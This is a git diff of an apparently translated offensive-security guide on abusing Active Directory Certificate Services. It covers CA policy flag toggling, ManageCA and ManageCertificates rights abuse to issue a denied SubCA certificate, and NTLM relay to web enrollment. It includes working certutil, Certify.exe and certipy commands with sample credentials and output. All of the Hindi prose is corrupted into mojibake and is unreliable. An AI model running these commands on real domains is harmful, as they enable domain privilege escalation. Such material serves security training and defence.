policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -217,7 +217,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ #### Explanation -рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдПрдХ рд╕реЗрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ CA рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ `certsrv.msc` рддрдХ рдкрд╣реБрдБрдЪрдХрд░, рдПрдХ CA рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдЧреБрдгреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рдХреЗ, рдФрд░ рдлрд┐рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЯреИрдм рдкрд░ рдЬрд╛рдХрд░ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, PSPKI рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдПрдХ рд╕реЗрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ CA рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ `certsrv.msc` рддрдХ рдкрд╣реБрдБрдЪрдХрд░, рдПрдХ CA рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдЧреБрдгреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рдХреЗ, рдФрд░ рдлрд┐рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЯреИрдм рдкрд░ рдЬрд╛рдХрд░ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, PSPKI рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` @@ -227,12 +227,12 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкрд░ **`ManageCA`** рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрдиреЗ рд╕реЗ рдкреНрд░рдореБрдЦ рдХреЛ PSPKI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕рдореЗрдВ **`EDITF_ATTRIBUTESUBJECTALTNAME2`** рдзреНрд╡рдЬ рдХреЛ рдЯреЙрдЧрд▓ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ SAN рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рд╕рдХреЗ, рдЬреЛ рдбреЛрдореЗрди рд╡реГрджреНрдзрд┐ рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрд╣рд▓реВ рд╣реИред -рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ PSPKI рдХреЗ **Enable-PolicyModuleFlag** cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕реАрдзреЗ GUI рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рдмрд┐рдирд╛ рд╕рдВрд╢реЛрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ PSPKI рдХреЗ **Enable-PolicyModuleFlag** cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕реАрдзреЗ GUI рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рдмрд┐рдирд╛ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред **`ManageCertificates`** рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг рд▓рдВрдмрд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рд╕реНрд╡реАрдХреГрддрд┐ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ "CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдмрдВрдзрдХ рд╕реНрд╡реАрдХреГрддрд┐" рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддрд╛ рд╣реИред **Certify** рдФрд░ **PSPKI** рдореЙрдбреНрдпреВрд▓ рдХрд╛ рд╕рдВрдпреЛрдЬрди рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз, рд╕реНрд╡реАрдХреГрддрд┐ рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -```powershell +```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded [...] @@ -259,10 +259,10 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 Perquisites: - рдХреЗрд╡рд▓ **`ManageCA` рдЕрдиреБрдорддрд┐** -- **`Manage Certificates`** рдЕрдиреБрдорддрд┐ (рдХреЛ **`ManageCA`** рд╕реЗ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИ) -- рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ **`SubCA`** рдХреЛ **рд╕рдХреНрд╖рдо** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдХреЛ **`ManageCA`** рд╕реЗ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ) +- **`Manage Certificates`** рдЕрдиреБрдорддрд┐ (рдЬреЛ **`ManageCA`** рд╕реЗ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИ) +- рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ **`SubCA`** рдХреЛ **рд╕рдХреНрд╖рдо** рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (рдЬреЛ **`ManageCA`** рд╕реЗ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ) -рдпрд╣ рддрдХрдиреАрдХ рдЗрд╕ рддрдереНрдп рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдХрд┐ `Manage CA` _рдФрд░_ `Manage Certificates` рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдЕрд╕рдлрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред **`SubCA`** рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ **ESC1 рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рд╣реИ, рд▓реЗрдХрд┐рди **рдХреЗрд╡рд▓ рдкреНрд░рд╢рд╛рд╕рдХ** рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** **`SubCA`** рдореЗрдВ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП **рдЕрдиреБрд░реЛрдз** рдХрд░ рд╕рдХрддрд╛ рд╣реИ - рдЬрд┐рд╕реЗ **рдЕрд╕реНрд╡реАрдХреГрдд** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ - рд▓реЗрдХрд┐рди **рдлрд┐рд░ рдмрд╛рдж рдореЗрдВ рдкреНрд░рдмрдВрдзрдХ рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред +рдпрд╣ рддрдХрдиреАрдХ рдЗрд╕ рддрдереНрдп рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдХрд┐ `Manage CA` _рдФрд░_ `Manage Certificates` рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдЕрд╕рдлрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред **`SubCA`** рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ **ESC1** рдХреЗ рд▓рд┐рдП **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рд╣реИ, рд▓реЗрдХрд┐рди **рдХреЗрд╡рд▓ рдкреНрд░рд╢рд╛рд╕рдХ** рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** **`SubCA`** рдореЗрдВ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП **рдЕрдиреБрд░реЛрдз** рдХрд░ рд╕рдХрддрд╛ рд╣реИ - рдЬрд┐рд╕реЗ **рдЕрд╕реНрд╡реАрдХреГрдд** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ - рд▓реЗрдХрд┐рди **рдлрд┐рд░ рдмрд╛рдж рдореЗрдВ рдкреНрд░рдмрдВрдзрдХ рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред #### Abuse @@ -285,7 +285,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -рдпрджрд┐ рд╣рдордиреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рд╣рдо **`SubCA` рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред +рдпрджрд┐ рд╣рдордиреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ рдкреВрд░реА рдХрд░ рд▓реА рд╣реИрдВ, рддреЛ рд╣рдо **`SubCA` рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред **рдпрд╣ рдЕрдиреБрд░реЛрдз рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**, рд▓реЗрдХрд┐рди рд╣рдо рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рд╕рд╣реЗрдЬ рд▓реЗрдВрдЧреЗ рдФрд░ рдЕрдиреБрд░реЛрдз рдЖрдИрдбреА рдХреЛ рдиреЛрдЯ рдХрд░ рд▓реЗрдВрдЧреЗред ```bash @@ -306,7 +306,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -рдФрд░ рдЕрдВрдд рдореЗрдВ, рд╣рдо `req` рдХрдорд╛рдВрдб рдФрд░ `-retrieve ` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде **рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░** **рдкреНрд░рд╛рдкреНрдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдФрд░ рдЕрдВрдд рдореЗрдВ, рд╣рдо `req` рдХрдорд╛рдВрдб рдФрд░ `-retrieve ` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде **рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -323,16 +323,16 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Explanation > [!NOTE] -> рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ **AD CS рд╕реНрдерд╛рдкрд┐рдд рд╣реИ**, рдпрджрд┐ рдПрдХ **рд╡реЗрдм рдирд╛рдорд╛рдВрдХрди рдЕрдВрдд рдмрд┐рдВрджреБ рдЬреЛ рдХрдордЬреЛрд░ рд╣реИ** рдореМрдЬреВрдж рд╣реИ рдФрд░ рдХрдо рд╕реЗ рдХрдо рдПрдХ **рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реИ** рдЬреЛ **рдбреЛрдореЗрди рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдорд╛рдВрдХрди рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ **`Machine`** рдЯреЗрдореНрдкрд▓реЗрдЯ), рддреЛ **рд╕реНрдкреВрд▓рд░ рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**! +> рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ **AD CS рд╕реНрдерд╛рдкрд┐рдд рд╣реИ**, рдпрджрд┐ рдПрдХ **рд╡реЗрдм рдирд╛рдорд╛рдВрдХрди рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд** рд╣реИ рдФрд░ рдХрдо рд╕реЗ рдХрдо рдПрдХ **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд** рд╣реИ рдЬреЛ **рдбреЛрдореЗрди рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдорд╛рдВрдХрди рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ **`Machine`** рдЯреЗрдореНрдкрд▓реЗрдЯ), рддреЛ **рд╕реНрдкреВрд▓рд░ рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**! -AD CS рджреНрд╡рд╛рд░рд╛ рдХрдИ **HTTP-рдЖрдзрд╛рд░рд┐рдд рдирд╛рдорд╛рдВрдХрди рд╡рд┐рдзрд┐рдпреЛрдВ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рд░реНрд╡рд░ рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдкреНрд░рд╢рд╛рд╕рдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред HTTP-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдпреЗ рдЗрдВрдЯрд░рдлреЗрд╕ **NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ** рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдПрдХ **рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдорд╢реАрди рд╕реЗ, рдХрд┐рд╕реА рднреА AD рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрдирдмрд╛рдЙрдВрдб NTLM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ**ред рдкреАрдбрд╝рд┐рдд рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╕рдордп, рдЗрди рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ **`User` рдпрд╛ `Machine` рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред +AD CS рджреНрд╡рд╛рд░рд╛ рдХрдИ **HTTP-рдЖрдзрд╛рд░рд┐рдд рдирд╛рдорд╛рдВрдХрди рд╡рд┐рдзрд┐рдпреЛрдВ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рд░реНрд╡рд░ рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдкреНрд░рд╢рд╛рд╕рдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред HTTP-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдпреЗ рдЗрдВрдЯрд░рдлреЗрд╕ **NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ** рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдПрдХ **рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдорд╢реАрди рд╕реЗ, рдХрд┐рд╕реА рднреА AD рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрдирдмрд╛рдЙрдВрдб NTLM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ**ред рдкреАрдбрд╝рд┐рдд рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╕рдордп, рдЗрди рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ **`User` рдпрд╛ `Machine` рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред - **рд╡реЗрдм рдирд╛рдорд╛рдВрдХрди рдЗрдВрдЯрд░рдлреЗрд╕** (рдПрдХ рдкреБрд░рд╛рдиреА ASP рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬреЛ `http:///certsrv/` рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ), рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ HTTP рдкрд░ рд╕реЗрдЯ рд╣реИ, рдЬреЛ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЕрдкрдиреЗ Authorization HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐рдпрд╛рдБ рдЬреИрд╕реЗ Kerberos рдЕрдиреБрдкрдпреБрдХреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред -- **рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛** (CES), **рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдиреАрддрд┐** (CEP) рд╡реЗрдм рд╕реЗрд╡рд╛, рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛** (NDES) рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдкрдиреЗ Authorization HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рддрдЪреАрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рдмрд╛рддрдЪреАрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг **рджреЛрдиреЛрдВ** Kerberos рдФрд░ **NTLM** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **NTLM** рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпреЗ рд╡реЗрдм рд╕реЗрд╡рд╛рдПрдБ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ HTTPS рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИрдВ, HTTPS рдЕрдХреЗрд▓реЗ **NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ**ред HTTPS рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рд╕реЗ 